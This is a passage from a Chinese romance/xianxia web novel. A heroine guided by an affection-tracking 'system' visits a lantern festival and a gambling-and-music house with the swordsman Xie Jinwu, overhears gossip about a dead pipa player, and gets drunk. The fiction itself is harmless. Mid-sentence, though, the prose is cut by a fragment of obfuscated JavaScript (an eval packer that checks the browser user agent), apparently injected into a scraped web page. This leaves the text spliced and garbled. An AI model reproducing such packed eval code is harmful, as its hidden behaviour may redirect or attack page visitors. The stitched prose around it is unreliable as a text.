叶清圆猝不及防就被他的相貌攻击到了,心跳骤停一瞬。她很快回过神来,抱怨道:“而且,方才你叫我叶姑娘做什么?不是说好了,不许这么生分客套的吗?” “是你先叫我谢公子的。”谢尽芜的眼中尤有笑意,他的声音清越好听,“抱歉,以后不会了。” 以后不会了。 叶清圆琢磨了一会儿,没清楚他说这话的含意是什么。 是不会再叫她叶姑娘呢,还是不会再和她开玩笑呢? “继续画吧,”谢尽芜看她神情严肃,以为自己方才的玩笑失了分寸,果真冒犯了她,于是收敛笑容,垂下眼睫坐回了桌前,“我不会打扰你的。” 叶清圆直觉他忽然的失落不太对劲,却也说不出什么。 反正谢尽芜向来冷漠、疏离,性格别扭,他的心思总是难猜。 “系统提示:恭喜宿主,角色【谢尽芜】的好感度已升至40%!” 叶清圆心念忽地一动,她转过身看着谢尽芜,清澈明亮的大眼睛难以置信地眨了眨。 好奇怪,他方才分明一脸失落的模样,好感度为何还上升了? “怎么了?”谢尽芜察觉到了她投来的探究的目光,“不是要画符吗?” “嗯……我已经练习了小半个时辰了。” 叶清圆指了指窗外街市上人声鼎沸的景象,“今夜有灯会呢,我们不去看一看吗?” 她倚靠在窗边的案头,姿态散漫,笑容明媚。 晚风吹进来,她身上的云雾般的衣裙也随风拂起,勾勒出一段极为玲珑纤细的腰肢轮廓。 谢尽芜的眼神微微避开,落在直棂窗外的一簇玉兰花枝。 叶清圆眼中笑意更深:“我们去鉴花楼吧,说不定还能碰到绘弦姑娘的旧相识呢?你不是想知道那条白玉吊坠的来历吗?” - 月上枝梢,浓云尽散。 千花河畔,花灯高挂,灯明如昼。 满街人声鼎沸,笛萧和鸣,街巷中挤满了笑闹着的百姓,岸边柳树枝也系上了彩绸,悬挂各类彩灯。 孩童们提着样式可爱的玉蟾灯和螃蟹灯,一路追逐打闹着跑远。 明暖的灯光,在叶清圆的脸颊上投下流水般沉静温柔的光芒。 她睁大眼睛,新奇又兴奋地不住打量周遭的一切,口中喃喃念道:“原来花灯这么好看,样式也这么多。” “我小时候在初阳镇也看过灯,不过不比金璧城这般叫人眼花缭乱。而且初阳镇的灯会也只过年和元宵时才有,平日里是热闹不起来的。” 她笑得宛如娇花,一双端丽的眉眼亮比天幕繁星,漂亮叫人移不开眼。 谢尽芜始终走在她身畔,眉宇沉静如冷泉。 “还有虾灯!”叶清圆讶异道,纤长白 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宛如有潺潺流水跳跃山石之间,水声叮咚,在他的胸腔中敲出清脆的声响。 她扬起脸,一双眼笑成了干净漂亮的月牙。 谢尽芜半垂着眼睫,看她用手指点了点虾头,细嫩的手指被灯光照成了浅粉色。 周遭喧闹嘈杂的人声如潮水一般退去,满街的热闹都仿佛被隔绝在外,唯有眼前姑娘红妆罗裙、眉眼含笑的模样。 谢尽芜一时恍惚,神情怔愣的甚至有些呆。 叶清圆想买虾灯,可惜囊中羞涩。她还以为是周围太乱了导致谢尽芜听不清,便凑近他身边,扬起脸笑意盈盈地望住他,示意他低头。 谢尽芜不清楚她要干什么,却也听话地微微俯下身来,与她四目相对。 他们的脸颊相距很近,近到几乎可以感受到彼此呼吸间的热度。她语声清脆悦耳,带着温柔的笑意:“你觉得漂亮吗?” 她的呼吸间带着甜腻的香气,是刚买的芙蓉酥的味道。 谢尽芜整个人都僵住了,他的脸颊在她开口的那一瞬间染上薄红,喉结不自觉地滚了一滚。 耳中鼓荡的不知是谁的心跳,震耳欲聋。有那么一瞬间,他的思绪都好像要锈住了,艰难地思索着她的话意。 他望进她含笑的眼眸,好久,才如梦初醒般地轻声道:“……嗯。” “我也这么觉得!那……你能买给我吗?”叶清圆已经抱住那盏虾灯不撒手了,“我今日裙子的时候把荷包落在客栈了,回去后会把银钱还你的。好吗?” 谢尽芜一时没有反应过来,清隽的脸上显出了茫然。 叶清圆抱着虾灯去蹭他的衣袖,可怜兮兮地哀求道:“买吧买吧。” “行。”谢尽芜鬼使神差地点了头。 他像是个被她蛊惑的、对她言听计从的昏君,甚至没往摊位上看一眼,就心甘情愿地取出银钱递过去。 叶清圆提着虾灯,满足得眼睛都眯起来,真心实意地奉承道:“你人真好。” 谢尽芜很受用地弯起唇角:“……嗯。” 31. 善意 他们沿着这条街巷一路往河岸走,铛铛的铜锣声愈发热闹响亮。途中遇到许多变戏法的艺人,各个都有绝活。一群小孩子提着灯盏玩“斗蟹”游戏,即操纵着竹竿,用蟹钳作武器来决出胜负。 叶清圆看得津津有味,也提着虾灯上前参与了一场。 不幸惨败。 “不许笑!”叶清圆故作凶狠地威胁谢尽芜,“我只是初次尝试,没有经验!” 谢尽芜收敛了笑意,可薄红的唇角还是忍不住上扬:“好。” 叶清圆无奈地放弃了:“好吧,你想笑就笑。” 谢尽芜认真想了想:“你一向聪慧伶俐,学画符时已展现出难得一见的天赋。若再有一次机会,我相信你必定会打败这些孩童的。” “……你真的没有在嘲讽我吗?”叶清圆越听越觉得不对劲,“下午你不是还说我的符画得一般吗?” 又是“聪慧伶俐”,又是“打败这些孩童”的。 谢尽芜转身看她,眼里有淡淡的笑意:“谢某绝无此意。” 叶清圆扬起脸,净白细腻的脸颊也被激起一层浅浅的红,显出几分天真与娇憨。 那群提着螃蟹灯的小孩见她输了,还以为她会不开心,便凑上来眨巴着眼睛叽叽喳喳道:“我们斗花灯有规矩的,谁赢了谁就要给大家买糖吃。可是我们兜里的铜钱不多,只有一点点,所以只能请你吃炒蚕豆了。” “炒蚕豆也很好吃的。”“就是就是!甜甜的,比糖还好吃呢!” “还有这样的规矩呀?”叶清圆惊喜道。谁知一抬眸,一名小胖娃竟已气喘吁吁地跑了过来,怀里抱着一包冒热气的炒蚕豆。 “来了来了!”他喘息未定地将纸包扯开,霎时椒香弥漫。 旁边那名小姑娘将他拉过来,稚嫩的嗓音里带着些羞涩之意:“姐姐快尝尝,这是刚出锅的,可好吃啦。” “好!那我就恭敬不如从命。” 叶清圆笑吟吟地挑了一颗炒豆子,正要放入口中。谢尽芜忽地伸手,攥住了她的手腕:“慢。” 他的眼睫低垂,目光落在小胖娃手里捧着的纸包蚕豆上,轻抿着的嘴唇显露出一丝防备。 谢尽芜的身量本就挺拔,眉眼又深,垂眼看人的时候目光便分外冰冷淡漠。在场的小孩被吓得一时不敢吭声,那小姑娘甚至躲在了叶清圆身后。 谢尽芜的视线在这群豆子似的小孩之间来回逡巡。稚嫩的脸庞,脏乎乎的手,还有漏风的门牙。 眼眸却干净、纯澈,除了善意之外,不掺一丝杂念。 与他先前遇到的、那些想要毒杀他的跋扈子弟,似乎有所不同。 “怎么了?”叶清圆不明所以地抬头看他,端丽的眼眸中同样是那般懵懂,“你也想吃吗?” 皙白的手指拐了个弯儿,她将那颗蚕豆送入他口中,敷衍道:“行行行,给你吃。” 谢尽芜秀挺的眉心蹙着,思绪仍旧茫然,嘴里猝不及防被她塞了颗豆子,这才恍然回过神来。 焦香在唇齿之间弥漫开来,细嚼后还有些微的甜味。他的视线不由自主地落在叶清圆的指尖,眼中的防备与警惕一扫而空。 他的神情发生了变化,小孩子们心智单纯,很快也高兴起来,围着叶清圆叽叽喳喳地闹起来。 “好吃吧?” 纸包里的炒蚕豆很快就见了底,叶清圆笑吟吟地将剩下的蚕豆交给了谢尽芜,而后和那群孩子们“请教”起斗灯的诀窍。 谢尽芜站在巷子边的桐花树下,雪白的桐花拂过他的肩头。 叶清圆已经和那帮孩子们玩得熟络起来,净白漂亮的脸上满是开怀的笑容。她好像十分喜欢这些小孩子,尤其是那个门牙漏风的小姑娘,甚至抬手轻柔地拭去她脸上沾染的一点儿脏污。 她不嫌弃脏吗? 谢尽芜怔怔地望着她出神。若是小时候的他出现在她面前,满身脏污,衣衫褴褛,她也会这么笑意盈盈,抬手温柔地擦拭他脸上的泥巴印吗? 掌心里暖意阵阵,是炒蚕豆的余温。他挑了一颗比较饱满的送入口中,轻轻咀嚼,有些失望地垂下眼睫。 并不如想象中的那般香甜。 不知是因为炒蚕豆冷了,还是因为这一颗蚕豆并非她亲手挑选。 谢尽芜坐在桐花树下的木椅上,思绪飘忽地看着她。 忽然,一道雪白清瘦的影子闯入他的视线中。 是个男子。身着白衣,腰间别扇,手里还捧着两碗乳糖浇,正喜上眉梢地朝着叶清圆走过去。 瞧他那唇角含笑的样子,像是要奔赴自己的心上人。 谢尽芜眉头稍攒,此人似乎是白天那个一直盯着叶清圆看的公子。 他眼眸登时一凛。 他快步上前,拦在白衣公子面前,脸色阴沉得有些骇人。 那白衣公子被他的突然出现吓了一跳,顿住脚步,犹疑道:“公子有事吗?” 谢尽芜的视线一落,瞥了一眼他手里的吃食:“公子可是要送给那位提灯的姑娘?” 不多不少,正好两碗。心中怀着何种念头,一眼便知。 白衣公子瞧见他眼中淡淡的杀意,心下有些发怵,道:“公子认识那位姑娘?” “嗯,”谢尽芜只觉此人实在阴魂不散,白天时总盯着叶清圆看已经是极大的不妥,此时还妄想进一步发展,当真可恶。 他冷声道:“她不需要。” 白衣公子瞧他眸中有明显的愠怒,显然是受了极大的冒犯。于是试探着问:“那位姑娘是公子的……恋人?” 谢尽芜闻言眉心蹙得更紧,只觉此人说话真是唐突。 可他眸光阴冷如冰,薄唇抿成一线,竟也卑劣地没有否认。 白衣公子面子当即有些挂不住,立刻作揖道:“在下冒犯,在下……实在冒犯!还请公子原谅。” 他只觉那姑娘相貌清润,笑起来也可爱,接连两次相遇说明就是有缘分,因此想要结识一番,还特意买了当下女孩子们最爱吃的荔枝乳糖浇,只等着开启一段令人心动的邂逅。 谁料,这姑娘竟是已有恋人。 无地自容。白 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谢尽芜看着她分发小玩意儿时满脸笑意的模样,觉得她倒像是比这些得了玩具的孩子们更开心。 也不知她哪来那么多闲工夫,和一帮乳臭未干的小孩都能玩到一起。 鉴花楼的灯笼亮了。 叶清圆告别那些小孩子,笑盈盈地回到谢尽芜身边。 润泽红艳的唇瓣动了动,她轻声道:“你看,其实我学东西挺快的。” 谢尽芜微挑眉梢。 “我以前读书时成绩还不错的,没有弱项。”叶清圆轻轻地笑了,眼中流露出怀念的意味,“只是动手能力差了点,学篆刻时经常会伤到手,编出来的手串也丑丑的。” 她曾经在妈妈过生日时,送了一条她亲手编的孔雀花蝶手串,结果因丑不忍睹而遭到了母亲大人的无情嘲笑。 后来,母亲大人还是将手串戴好了,逢人必秀:“看,我家宝贝给我编的呢!” “你对这些事很感兴趣?”谢尽芜微微感到惊讶,“我以为你是那种耐不住性子的人。” 叶清圆笑着扭过脸去:“我怎么会耐不住性子呢?我是最有耐心的人啦!” “为什么,”谢尽芜沉默了一会儿,小声问道,“你对那些人如此信任?” “嗯?你说那些小孩子吗?”叶清圆眨了眨眼,“因为他们对我满心善意啊。” 谢尽芜停下脚步,有些不解地看着她。 “其实,这世上的事没那么复杂的。他们对我心怀善意,我也同样以善意回应。” 叶清圆的唇畔带着轻柔的笑,虾灯溢出的暖黄光芒让她的脸颊线条更显柔和:“生活就是这样的,这些看似不起眼的小事却是足以支撑我们活下去的动力。” 谢尽芜别过脸去,并不赞同:“毫无意义。” “人生本来就毫无意义,可是为什么非要意义呢?”叶清圆歪着脑袋,笑吟吟地望着他,“只要活得开心、满足,纵使再平凡,这一生也是很值得的了。” 32. 鉴花 河畔柳梢轻扬,千花摇曳。河面上泊着画舫,轻纱堆云,雕梁画柱,杯盏相撞的清脆声混入悠扬缠绵的丝竹弦乐中,歌声在河面荡起涟漪。 临河的楼宇高逾百尺,直耸入云。天际明月澄澈,琉璃瓦上万点银光飞溅,尖翘的檐角以红绸悬了铜铃,微风一拂,漾出清脆悠扬的脆响。 楼层内的门窗半遮半掩,明暖的灯光照映着酒桌前觥筹交错、酒酣耳热的客官们,以及娇笑连连的姑娘们,灯光如萤火般深深嵌入皎洁的夜幕中。 门前欢笑喧嚣,车马流转,连迎面而来的晚风都染了酒香和脂粉香。 叶清圆与谢尽芜站在大门前,身旁侍者笑得温和爽朗:“二位是要赏戏、吃饭,还是……博金呢?” 鉴花楼,是一座集饮食、玩乐和赌.博为一体的……多功能娱乐场所。 谢尽芜的眉心微蹙,一言不发,漂亮幽邃的眼眸冷得不带任何温度。 他的神情有种淡淡的嫌恶之意,仿佛看见了什么不干净的东西。 叶清圆笑得明媚端丽:“我们想听琵琶,麻烦安排两个清净些的位子吧。” 他们穿过雕梁画栋的主廊和锦鲤池进入一楼,高高的吊顶投下明亮缤纷的光芒,一楼大厅内摆满了赌桌,满脸兴奋的客官将周遭围堵得水泄不通,喧闹嘈杂的声音不绝于耳,连空气中都满是污浊、狂热的气息。 看着眼前乱糟糟的疯狂景象,叶清圆不由得睁大了双眼,殷润的眼眸中显出几分茫然无措。 赌场……太恐怖了! 她刚要收回目光,眼前却赫然被阴影笼罩住。谢尽芜走上前来,遮挡住了她略微惊恐的视线,脸上有些不易察觉的安慰之意:“没什么好看的,快走吧。” 沿着木阶上楼,这一路的装潢摆设极尽豪奢,到了三楼乐厅才显出几分清贵静谧来。 竹篾帘子半卷着,遮住了外头街巷的吵闹喧哗。茶韵清幽的香气蔓延开来,满堂的桌椅摆放得整齐,簇拥了正中一座琉璃堆砌的茶花台。 台下坐满了交头接耳谈论着的宾客,却都自觉地压低了声音,桌上也并非酒肉饭菜,而唯有些果脯、清茶之类,因此场中宾客虽满,却并不显得过分嘈杂喧闹。 叶清圆和谢尽芜自行寻了靠后的空位坐下,茶童立刻有眼力见地小跑过来,提着茶壶斟上两杯茉莉花茶,又将随身携带的食谱摆在梨木桌上。 食谱上图文并茂,除了各类茶水之外,还有点心和果脯。叶清圆方才逛街看花灯时刚吃过芙蓉酥,此时胃里塞不下东西,便将食谱递给了谢尽芜。 谢尽芜抬起眼,漂亮殷润的黑眼珠定定望着她:“不想吃?” “嗯,你点吧。”叶清圆双手捧着茶盏凑到唇边,鼻翼翕动,一点点嗅着茉莉的清香。 她的脸颊在氤氲的茶雾后呈现出些许朦胧,含笑的眼眸中有种奇异的温柔。 谢尽芜不自觉地看了两眼,半晌,收回目光,眼睫低垂着念了几道点心名,而后将食谱给了茶童:“去吧。” 叶清圆扭过脸笑,弯弯的眼眸中带着狡黠:“你怎么净点些我爱吃的。” 谢尽芜被她这样看着,只觉脸颊都要热起来:“你想多了。” “好的。”叶清圆扬起脸看向琉璃堆雪似的台上,唇边噙着一点笑。 台下众宾客坐得满满当当,周遭又静,身后客人的谈论声很清晰地传入耳中。 “今日上台演出的也不知是哪位姑娘,竟吸引来这么多人?” 身旁一名公子低声嗤笑道:“瞧你那没见过世面的样子,这也叫人多?鉴花楼还真是大不如从前了!” 旁边人附和道:“对对!绘弦姑娘还是不该走啊!” “当初大伙只道她走便走吧,鉴花楼这种销金窟,向来不缺娇花般美艳的新人。可谁料十几日过去,竟还冷清至此。” “绘弦姑娘?她为何要走哇?”那人咂摸着一杯上好的君山银针,狭长的眼中满是好奇。 他还没有说完,琉璃台上灯光骤亮,几名身穿襦裙、怀抱乐器的女子轻移莲步行至台上。为首的姑娘脸戴轻纱,头梳高髻,怀中抱着琵琶。 琉璃台上微风吹送,诸女子腰肢纤细,披帛轻扬,宛如飞天。 在场众宾客安静了两秒,随即爆发出雷鸣般热闹的掌声与欢呼声。一时之间,场中氛围热烈得仿佛要掀翻屋顶。 纤细却有力的手指拨弄了丝弦,柔婉动听的琵琶声霎时响彻满堂。 众宾客心领神会地闭口不言,大厅里瞬间安静下来。那持盏的公子举扇掩口,低声笑道:“看这位姑娘的琵琶弹得怎么样,可及得上绘弦姑娘半分?” 台上姑娘生了一双妩媚多情的潋滟桃花眼,视线只是扫过宾客席位,立刻激起台下众人快要发直的目光。 她翩然转身,胡裙飞旋,露出一截细长白净的小腿。 顿时,台下起了一阵不小的骚动声。 叶清圆看到这些漂亮姐姐就走不动路,激动得眼睛霎时就亮了,险些就和在场诸宾客们一起欢呼出来。 她捧着脸偷笑,目光不经意瞥见一旁端坐的谢尽芜,竟见他浓睫低垂,盯着桌面上的纹路,眼中隐约现出嫌恶。 恰好此时,茶童端着托盘过来,在他们面前的桌子上一口气摆了四道点心和一壶上好的牡丹白茶。 谢尽芜抬手将一碟荷花酥推到她面前,又径自倒了杯白茶给她,轻声道:“这种热闹你也凑。” 叶清圆眼中笑意弥漫,凑近了他:“我喜欢看漂亮姐姐弹琵琶。” 谢尽芜皱着眉,没想出反驳的话来。不过也罢,总归不是看些男子的歌舞就好。 他别开脸,语气冷傲又别扭:“吃你的吧。” 琉璃台上丝竹声声,女子眼帘低垂,细长的指尖将琵琶弦拨弄得缠绵悱恻。台下诸人听得如痴如醉,无数双眼睛恨不得挂在了姑娘们的身上。 一曲毕,满堂掌声雷动,叫好声不绝于耳。 身后坐着的公子却轻笑出声,忍不住又开始点评:“曲儿不错,身段也好,只不过比起绘弦姑娘来,却是差得远了!” 叶清圆清了清嗓子,转头打探道:“公子方才多次提起绘弦姑娘,请问这位姑娘是何等人物?如今又身在何处?” “她呀,艳冠金璧城!至于现在嘛,自然是攀高枝儿去了!”那公子也是个自来熟,摇头轻笑,语气中带着一股莫名的轻蔑之意。 “沈兄说错了,近日不曾有绘弦姑娘入侯爵府的消息。”身旁一名蓝衣公子笑着道,“倘若绘弦姑娘真能入侯门,这鉴花楼不得扯起大旗来操办个三日三夜?这可是莫大的荣宠!” 那人又辩起来:“说不定潘小侯爷想来个金屋藏娇呢?” “不会。潘淳玉这种人心性高傲,不会抬她进府的。更何况崔老夫人可不是好相与的性情,她向来性格强势、眼高于顶,怎会允许绘弦这么一个琵琶女进府呢?哪怕是做妾室,她都不会点头!” 话音落下,周遭宾客忍不住轻轻颔首,颇觉有理。 “前几日我家夫人去往城外轻山观里上香,途中还巧遇了绘弦姑娘呢。”那蓝衣公子压低了声音,“她那时求的正是姻缘,还向道长摇了一支姻缘签!” “绘弦姑娘与潘府二爷交好已久,她那时所求姻缘,必定也是与潘二爷有关的了。” 话音落下,众宾客皆是嗤笑:“呵!痴心妄想!” “她也不掂量掂量自己的轻重,侯爵府的大门,是她这般风尘女子想进就能进的?” 更有甚者胡乱猜测道:“这么明目张胆地求取姻缘,她不会是妄想做侯爵府的正室吧?” 蓝衣公子将茶盏往桌上一放,道:“正是。但潘府那种地方杀气太重,任谁进去都要被扒下来一层皮。绘弦着实不自量力了。” 恰好此时琉璃台上姑娘们翩然退场,厅中难得寂静一瞬。他二人嗓音清朗,便显得尤为突出,不少宾客的目光都被吸引了过来。 有人持反对意见:“潘老将军和他家嫡子潘璞玉可是戍边多年,都有军功在身。侯爵府有浩荡皇恩庇佑,怎么可能杀气过重?兄台还是勿要妄言。” 蓝衣公子挑眉,压低声音道:“潘淳玉先前的那位莫夫人,当年也是颇有头脑的聪慧女子,嫁入侯爵府后还不是玉殒香消!” 旁边的宾客立刻出言阻止他:“嘘!小点声,那位夫人的死因至今都不明不白呢!潘淳玉既然瞒了这么久,你我谁又有命去讨论她的事!” 蓝衣公子的脸色一僵,沉默过后,重重叹了口气:“福薄啊,谁能想到好好的一个人,竟就疯了!” 在场众人闻言皆默然不语,心照不宣地对这位夫人避而不谈。 叶清圆小口咬着莲花酥,脸颊鼓起,黑白分明的杏眼大睁着,活像个贪吃的小松鼠。 谢尽芜垂下眼睫看她,脑海中漫无边际地想:原来她的瞳孔颜色是比较浅淡,光线昏暗的地方如点漆一般,阳光下又泛出温柔的琥珀色。 叶清圆听了半天没听出个所以然来,凑到谢尽芜耳边悄声道:“看来他们都不知道绘弦已经不在人世了。奇怪,绘弦在金璧城这么出名,竟无一人知晓她已故这件事。她到底是怎么死的呢?” 谢尽芜冷静地“嗯”了一声。 她又絮絮道:“不过这一趟出来也不算毫无收获,侯爵府里那两位肯定还有事瞒着我们。而且……” “……”谢尽芜的眉头蹙着,漆黑漂亮的眼潭中翻涌着莫名的情绪。 “而且莫夫人的死因肯定不简单,我们可以先从她身上下手。”叶清圆往他身旁凑了凑,“你觉得呢?或者……” 谢尽芜抬手按在叶清圆的肩膀上,掌心轻微用力将她推开,打断了她的喋喋不休,“说话时不要靠得那么近。” 叶清圆满脑子想法还没说完,急切道:“我在和你分析情况!” “讲话毫无章法与重点,听不懂你在说什么。” 谢尽芜的视线始终落在杯盏,薄红的唇抿了抿,“我先出去吹吹风,你把自己的思路理清楚,再和我讲。” 说罢,径自起身离开。 他的目光自始至终都没有落在叶清圆的脸上,像是在逃避什么。 叶清圆瞠目结舌地看着他离开的背影,低下头狠狠地咬了一口莲花酥。 连她的绝妙分析都不肯听完,一点儿也不尊重人的劳动成果! - 远处彩灯璀璨,明彻夜空。 谢尽芜站在朱红的栏杆旁,廊檐下悬着的灯笼漾出明暖的光,照亮他的脸庞与脖颈。 他垂眸看着街巷上的涌动的人群,脸颊仍旧抑制不住地发热。 口鼻间似乎还萦绕着她呼出的酥酪的甜腻香气,缠绕、蒸腾,叫他的思绪也不甚清明。 掌心按在栏杆上,他的脑海中浮现出叶清圆含笑的模样。 她的样貌并非美艳得出众,脸颊、下巴皆是小巧伶俐,不笑时甚至有几分单薄相,可怜兮兮的。 可她总爱笑,红润的唇弯成了花瓣,眉梢也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“有又如何,没有又如何?” 谢尽芜:“若有,这就成了你们渡真世家内部的事,不该牵扯到旁人。” 顾雪庭笑了笑:“听起来是有些道理。自家的冤仇怨恨,理应自己出手解决,不该假手他人,你说是不是?” 他这话说得意有所指,谢尽芜刚要询问,就见顾雪庭倚靠在栏杆旁,笑望着千花河畔的灯市如昼,“不过嘛,有些事你也不会明白的。” 谢尽芜的神情更加肃戾,他的视线从顾雪庭的脸上移开,落在远处道旁的摊贩上,心中满是不耐烦。 顾雪庭侧目,觑着谢尽芜不悦的脸色。 他其实有些忌惮谢尽芜,不好在这些事上惹他不快,于是思索一瞬,委婉道:“谢公子天赋出众,八岁入希夷殿,十五岁破格升为二殿主。年少得志,满皇城的世家子弟无人敢不避你的锋芒。谢公子或许以为曾得到了这世间的一切。可还有些事,若非亲身经历过,大抵是不会明白的。” 谢尽芜的心中一动。这番话,倒与希夷殿主昔日所说极为相似。 ——“你年少入道门,虽生性懵懂乖觉、寡言安静,却好在早慧,不过两年,便已出类拔萃。这希夷殿,纵使现在就交给你也堪称妥当。可有一点你却不知,这世间有多少人意气风发半生,却终究溺毙于恨海情天。” “与其坐以待毙,不如趁早断念,永绝后患!” 堂中诸位客官的欢呼声鼎沸,热闹得险些要掀飞屋顶。 声浪与丝竹乐声涌出廊外,灯笼水红的流光浸润在谢尽芜秀挺的眉骨与鼻梁。 他抬起眸,黑润的眼瞳冷如深潭:“故弄玄虚。” 顾雪庭浑身没骨头似的靠在栏杆,漫声道:“谢公子不好奇我是怎么复活那位绘弦姑娘的吗?” 谢尽芜居高临下地看着他。 顾雪庭抬手撑着下巴:“这世上有一门禁术,名为转玄三术,来自冽雪山谷。生者可以死,死者可以生。我将那术法稍微变通一些,让绘弦以死人之躯存留于世,给她续了十几年的寿命。” “当然,她不能像真的活人那样呼吸、进食,连阳光都不可以长久接触。” 谢尽芜眯起眼:“你觉得这样很有趣?” 顾雪庭笑笑,不答,只是问:“谢公子想学吗?” 谢尽芜没作声。 “无论如何,侯爵府的事我不会亲自插手,谢公子大可放心。”顾雪庭见他神色冷淡,也不强求,只是抿唇淡笑,“好啦,我该回去了,叫姑娘们等久了可不好。” 他转身走了两步又折返回来,抬袖一指千花河畔:“看到那个位置了吗?” 是河畔的绝佳摊位。 顾雪庭歪着脑袋:“我有时候会在那里摆摊画像,记得去支持我的生意。我要价很低的,只需一碗茶水钱。” 谢尽芜冷声道:“鼎鼎大名的画师也缺这点钱吗?” “玩嘛,”顾雪庭大笑起来,“有姑娘陪我说笑,那些银钱又算得了什么?” 谢尽芜忽然觉得这人很是莫名其妙。 “或者——”顾雪庭笑着望他紧蹙的眉心,眸光灼灼,“回头请叶姑娘来光顾我的生意,也不错啊!” 谢尽芜眉眼一凛,薄红的唇抿紧了,看模样很想给他一剑。 “好吧,好吧。”顾雪庭漫不经心地笑,招手道,“谢公子,告辞。” 33. 莲灯 谢尽芜推门,借着琉璃台上散发的细微灯光回到座位。 叶清圆还在吃,她将乳糖浇捧在手里,一勺勺舀着吃。 她的脸生得小,随便吃点什么,脸颊都会鼓起来。 谢尽芜的视线落在已经空了的烤漆小盘上,嗤笑道:“方才是谁说不想吃的?” 叶清圆眨了眨眼,舀起一勺乳糖浇送到他唇边:“要不要来一口?” 谢尽芜下意识地侧过脸避开,薄唇一抿,冷硬地拒绝道:“……不知羞。” “啊?”叶清圆后知后觉地反应过来,“我要了两个勺子呢,放心,我很讲卫生的……很爱干净的。” 谢尽芜的眉头微皱,他分明不是在说这个。 叶清圆的眼睛亮晶晶的,昏暗的灯光也掩不住的灵动可爱。她轻声开口:“张嘴,一会儿该化了。” 琉璃台上正唱起戏文,咿咿呀呀的唱腔游丝般飘荡至厅内的每个角落。 谢尽芜矜持了两秒钟,还是乖乖张开唇,被叶清圆喂了一小口。 冰凉的甜意在唇齿间弥漫开来,好甜,细腻的冰沙很快化开。谢尽芜好不容易清明一瞬的思绪再度混沌起来,他的喉结滚了滚,随即眉心一蹙:“怎么有酒味?” 叶清圆迟钝地笑起来,笑出两排洁白的牙齿:“你尝出来了呀?我往乳糖浇里倒了一点,如何,味道还不错吧?” 她的声音不复以往的清脆甜美,反倒染上了似有若无的倦懒:“是这里的招牌,名叫‘醉千钟’。我特意买了两壶,你瞧。” 谢尽芜的眼神落在杯盏中的酒液,目光霎时肃戾得仿佛要吓死人。 他从叶清圆手中接过酒杯,低头闻了闻,冷声道:“这种果酒入口时如糖水一般清爽冷冽,实则喝进肚子里才知后劲有多凶悍——你喝了多少?” “你为什么懂这么多啊,你平时也喜欢喝酒吧?” 谢尽芜仍旧眉目冰冷地看着她。 叶清圆抿起唇笑了,没怎么当回事:“没事的,喝了小半壶,至今头脑清醒得很。” “清醒得很?”谢尽芜的眉梢挑起,“那你怎么用起我的勺子了?这会儿不爱干净了?” 叶清圆怔怔低头,赫然发现自己的小木勺还好好地放在碟子里。 她方才所用,果真是谢尽芜的那只勺子。 谢尽芜皱着眉取过酒壶,入手极轻,显然空空如也。再取另一只酒壶,晃了一晃,仅余半壶。 他转过身看她,眼中陡然生出薄怒来:“回客栈。” 叶清圆还捧着那碗乳糖浇在吃呢,闻言大不乐意:“急什么,我没吃完呢。” “喝这么多酒,你该醉了。”谢尽芜拽住她的手腕,待看清她脸颊浮起的浅红后,改口道,“不,你已经醉了。” “你少看不起人了!我从小到大还不曾醉过呢!” 叶清圆坚称自己没醉,并且非要抱着那半壶醉千钟回去。大庭广众之下,谢尽芜对她实在无可奈何,只好连人带酒壶一同打包出门。 甫一出鉴花楼的大门,裹挟花香暖意的晚风吹过一阵,叶清圆的脑筋顿时就生锈了一般,转不动了。 她的脸颊和脖颈逐渐发起热来,拿刚捧了乳糖浇的手心冰了冰,意识却更混沌了。 谢尽芜牵着她纤瘦的手腕走了几步,察觉她的步伐飘忽,忍耐了片刻,压下心头的火气,矮下.身子道:“上来,我背你回去。” “我不要,”叶清圆拖长了腔调,慵懒柔和得像是撒娇,漂亮的眼珠像浮起一层水雾,亮闪闪的,“我要抱着。” “你做梦吧。”谢尽芜耐着性子抓住她的手腕。 她的脚步虚浮得快站不住了,纤薄的身躯也摇晃不止,鼻尖好几次险些磕到谢尽芜的肩膀,被他一掌按在脸上无情推开。 也幸好他始终抓着她的手腕不放,不至于叫她仰头栽倒在地。 叶清圆的头晕得要命,只觉头顶繁星乱转,转得她浑身无力。纤长柔软的手臂像是藤蔓一样缠住他胳膊,缠得他眼睫低垂、呼吸轻轻。 她整个人借力靠在他怀中,口齿不清地小声企求:“谢尽芜,我要坐船,你带我去坐船离开吧,我想回家……” 略显狭窄的小巷里行人不多,却总有好奇者脸上带着暧昧的意味,轻笑着经过他们。 谢尽芜纵使脸皮再厚也经不住这般暧昧,偏又被她一声声撒娇似的话闹得额头青筋直跳。 他低下头,薄唇凑在她耳畔,颇有些难以启齿道:“叶清圆,放开手!我……我抱你回客栈。” “我不回客栈!”叶清圆从他怀里扬起脸,红润的唇溢出醉人的酒香与果香,“我要回家,你带我去坐船。” “……行,坐船。” 谢尽芜被她磨得彻底没了脾气,俯下.身将她抱起来。 他从没抱过人,也不太会,试了好几个姿势都不行。要么是勒住她的腰了,要么就是压住了她的头发,惹来她一声不满的轻呼。 谢尽芜烦躁得手背青筋直跳,耐心告罄。到最后,脑海中莫名想起他曾见过的妇人抱小孩的手法。 思索一瞬,他矮身托住她的大腿,使力一提,叫她坐在自己的右手臂上。同时左手搂住她的腰背保持平衡,真就抱孩子似的将她抱了起来。 叶清圆赶紧攀住他的肩颈,慌乱中下巴还在他鼻梁撞了一下。她没什么感觉,谢尽芜却是闷哼了一声。 谢尽芜将她往上颠了颠,叫她坐稳,同时低声道:“你老实些。” 叶清圆没反驳,只是半阖着眼,因为被他颠得有点想吐。 谢尽芜听到她一声干呕,警觉道:“叶清圆,你若是敢吐,我就将你扔进河里。” 说什么话呢?一点都不好听。 叶清圆的胸腹都被他硬邦邦的肩头顶住了,闻言又故意干呕一声。 谢尽芜脸色都变了,加快脚步赶紧来到河岸边。 叶清圆:“……” 幸好千花河畔最不缺的就是船舫。谢尽芜把叶清圆放下来,立刻又退出两步远。 叶清圆:“……?” 她走过去,却听谢尽芜拧着眉防备地看着她:“你现在还想吐吗?” 原来他避开这么远, 